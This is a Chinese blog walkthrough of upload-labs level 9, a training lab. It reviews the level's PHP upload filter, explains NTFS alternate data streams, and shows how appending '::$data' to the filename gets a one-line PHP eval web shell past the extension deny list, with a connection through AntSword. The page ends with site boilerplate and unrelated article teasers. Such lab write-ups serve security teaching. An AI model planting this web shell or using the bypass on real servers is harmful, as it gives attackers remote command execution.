upload-labs第九关教程

upload-labs第九关教程

  • 一、源代码分析
    • 代码审计
    • ::$DATA介绍
  • 二、绕过分析
    • 特殊字符::$data绕过
      • 上传eval.php
      • 使用burpsuite抓包进行修改
      • 放包,查看是否上传成功
      • 使用中国蚁剑进行连接

一、源代码分析

代码审计

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

相对于上面的关卡来说,它少了对::$DATA的过滤,所以是不是可以考虑通过::$DATA进行绕过

::$DATA介绍

备用数据流(Alternate Data Streams,ADS)是Windows中的一个特性,它允许在一个文件中隐藏额外的信息。这个特性是NTFS(Windows常用的一种文件系统)独有的。
可以这样想:可以把备用数据流想象成一本书中的“隐形笔记”。这本书(文件)看起来还是那本书,里面的主要内容没有变,但你可以在书页的空白处(备用数据流)用隐形墨水写一些额外的内容(数据流),只有知道方法的人才能看到这些内容。

二、绕过分析

特殊字符::$data绕过

上传eval.php

<?php @eval($_POST['cmd']); ?>

使用burpsuite抓包进行修改

修改之前:
在这里插入图片描述filename为eval.php

修改之后:
在这里插入图片描述filename为eval.php::$data。

放包,查看是否上传成功

在这里插入图片描述上传成功,但是如果使用中国蚁剑进行连接的话就得把后面的那一串::$data删除就行了。

使用中国蚁剑进行连接

在这里插入图片描述连接成功。


如果有问题的话,可以私信问我。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/713136.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

抖音a_bogus,mstoken爬虫逆向补环境2024-06-15最新版

抖音a_bogus,mstoken爬虫逆向补环境2024-06-15最新版 接口及参数 打开网页版抖音&#xff0c;右键视频进入详情页。F12打开控制台筛选detail&#xff0c;然后刷新网页&#xff0c;找到请求。可以发现我们本次的参数目标a_bogus&#xff0c;msToken在cookie中可以获得&#xf…

无公网ip、服务器无法上网如何实现外网访问

在ipv4的大环境下&#xff0c;公网ip和车牌号一样抢手&#xff0c;一个固定公网ip价格非常昂贵&#xff0c;中小企业承担不起&#xff0c;也不愿意在上面投入&#xff1b;同时勒索病毒日益猖獗&#xff0c;企业信息化负责人为了保证数据安全性&#xff0c;干脆禁止服务器上外网…

分布式微服务: springboot底层机制实现

springboot底层机制实现 搭建SpringBoot底层机制开发环境ConfigurationBean会发生什么,并分析机制提出问题: SpringBoot 是怎么启动Tomcat, 并可以支持访问Controller源码分析: SpringApplication.run()SpringBoot的debug流程 实现SpringBoot底层机制[Tomcat启动分析 Spring容…

在向量数据库中存储多模态数据,通过文字搜索图片

在向量数据中存储多模态数据&#xff0c;通过文字搜索图片&#xff0c;Chroma 支持文字和图片&#xff0c;通过 OpenClip 模型对文字以及图片做 Embedding。本文通过 Chroma 实现一个文字搜索图片的功能。 OpenClip CLIP&#xff08;Contrastive Language-Image Pretraining&…

课设--学生成绩管理系统(一)

欢迎来到 Papicatch的博客 文章目录 &#x1f349;技术核心 &#x1f349;引言 &#x1f348;标识 &#x1f348;背景 &#x1f348;项目概述 &#x1f348; 文档概述 &#x1f349;可行性分析的前提 &#x1f348;项目的要求 &#x1f348;项目的目标 &#x1f348;…

Java入门4: 泛型和集合

Java入门4: 泛型和集合 MangoGO 芒狗狗 目录 4 泛型和集合4.1 泛型4.2 Collection4.3 List4.4 ArrayList4.5 Map4.6 HashMap4.7 Set 和 HashSet4.8 Collections参考代码4 泛型和集合 Java 使用集合来组织和管理对象,本节我们重点讲解泛型和集合。主要介绍 Collection、List、A…

C#医院体检系统源码 PEIS源码 系统核心功能、特点、类型、设备对接-PACS放射科设备对接:DR、CT、MRI、钼靶。

C#医院体检系统源码 PEIS源码 系统核心功能、特点、类型、设备对接-PACS放射科设备对接:DR、CT、MRI、钼靶。 体检系统是为体检中心、医院体检科等体检机构专门开发的全流程管理系统。该系统通过软件实现检测仪器数据的自动提取&#xff0c;内置多级医生工作台&#xff0c;旨在…

远程连接服务器的工具?

远程连接服务器工具是现代工作环境中不可或缺的工具之一。它允许用户通过网络远程访问和控制远程服务器&#xff0c;为用户提供了更加便捷和高效的工作方式。无论是远程办公、远程维护还是云计算&#xff0c;远程连接服务器工具都发挥着重要的作用。 在众多远程连接服务器工具…

LabVIEW RT在非NI硬件上的应用与分析

LabVIEW RT&#xff08;实时操作系统&#xff09;可运行在非NI&#xff08;National Instruments&#xff09;硬件上&#xff0c;如研华工控机&#xff0c;但需要满足特定硬件要求。本文从硬件要求、开发和运行差异、可靠性、稳定性、优势和成本等多角度详细分析在非NI硬件上运…

【Mac】Luminar Neo for mac(图像编辑软件)软件介绍及同类型软件比较

Luminar Neo软件介绍 Luminar Neo 是一款由 Skylum 开发的功能强大的照片编辑软件&#xff0c;专为摄影师和摄影爱好者设计。它适用于 Mac 和 Windows 平台&#xff0c;提供了一系列先进的编辑工具和功能&#xff0c;使用户能够轻松提升和优化他们的照片。以下是 Luminar Neo …

沸点 | LDBC与SIGMOD联合研讨,推动图数据库创新与标准化

当地时间6月9日&#xff0c;国际基准官方平台关联数据基准委员会&#xff08;LDBC&#xff0c;Linked Data Benchmark Council&#xff09;与SIGMOD 2024&#xff08;是全球最具国际影响力的数据管理、数据处理和数据存储领域的学术顶会之一&#xff0c;ACM SIGMOD/Big Data in…

非关系型数据库NoSQL数据层解决方案 之 redis springboot整合与读写操作 2024详解以及window版redis5.0.14下载百度网盘

redis下载安装以及基本使用 下载地址 链接&#xff1a;百度网盘 请输入提取码 提取码&#xff1a;0410 一个名对应一个数值 内存级 在内存里进行操作 准备启动 我们现在就有一个redis客户端的服务器了 我们再启动一个cmd 操作redis数据库 redis里面的基本数据类型有五种 …

用Canvas绘制2D平面近大远小的马路斑马线

用Canvas绘制2D平面近大远小的马路斑马线 设置canvas和上下文&#xff1a; 首先&#xff0c;你需要创建一个元素&#xff0c;并获取其2D渲染上下文。 绘制斑马线&#xff1a; 使用fillRect或strokeRect方法绘制斑马线。你可以通过循环和计算来绘制多条具有不同宽度和间隔的…

LeetCode20.有效的括号

题目描述 分析 我们刚上来的思路可能是&#xff1a;找出这三种括号的个数 如果都是偶数 说明匹配 但是这里还有一个顺序问题 比如 " )( "这样是不匹配的&#xff01; 所以这种思路不可取&#xff01; 我们想 如果遇到左括号&#xff0c;把他读到一个顺序表中&#…

等级考试3-2021年3月题

作业&#xff1a; #include <iostream> using namespace std; int chonghe(int,int,int,int); int main(){int a[1000],b[1000];int n,ma0;cin>>n;for(int i0;i<n;i){cin>>a[i]>>b[i];}for(int i0;i<n;i){for(int ji1;j<n;j){mamax(ma,chongh…

Python酷库之旅-比翼双飞情侣库(10)

目录 一、xlrd库的由来 二、xlrd库优缺点 1、优点 1-1、支持多种Excel文件格式 1-2、高效性 1-3、开源性 1-4、简单易用 1-5、良好的兼容性 2、缺点 2-1、对.xlsx格式支持有限 2-2、功能相对单一 2-3、更新和维护频率低 2-4、依赖外部资源 三、xlrd库的版本说明 …

4.8.2 利用Spark SQL计算总分与平均分

姓名语文数学英语物理化学陈燕文8998807665张晓峰9078928456李太白8793677892洪小琳9867879076 1. 准备数据 创建本地成绩文件&#xff1a;scores.txt&#xff0c;包含学生成绩数据。上传到 HDFS&#xff1a; 创建目录&#xff1a;hdfs dfs -mkdir -p /scoresumavg/input上传文…

板凳------56.Linux/Unix 系统编程手册(下) -- SOCKET 介绍

56.1.概述 socket 是一种IPC方法&#xff0c;允许位于同一主机或使用网络连接起来的不同主机上的应用程序之间交换数据。 UNIX 允许位于同一主机系统上的应用程序之间通信 Internet domain IPv4 and IPV6 // socket 通信方式 1.各个应用程序创建一个socket&#xff0c;socket是…

块级元素与行内元素详解

在网页设计与开发中&#xff0c;元素根据其在页面布局中的表现可分为两大类&#xff1a;块级元素&#xff08;Block-level Elements&#xff09;和行内元素&#xff08;Inline Elements&#xff09;。理解它们的特性和使用规则对于构建结构清晰、布局合理的网页至关重要。 块级…

【因果推断python】38_预测模型1

目录 工业界中的机器学习 之前的部分涵盖了因果推理的核心。那里的技术是众所周知和成熟的。他们经受住了时间的考验。第一部分建立了我们可以依赖的坚实基础。用更专业的术语来说&#xff0c;第一部分侧重于定义什么是因果推理&#xff0c;哪些偏差会阻止相关性成为因果关系&…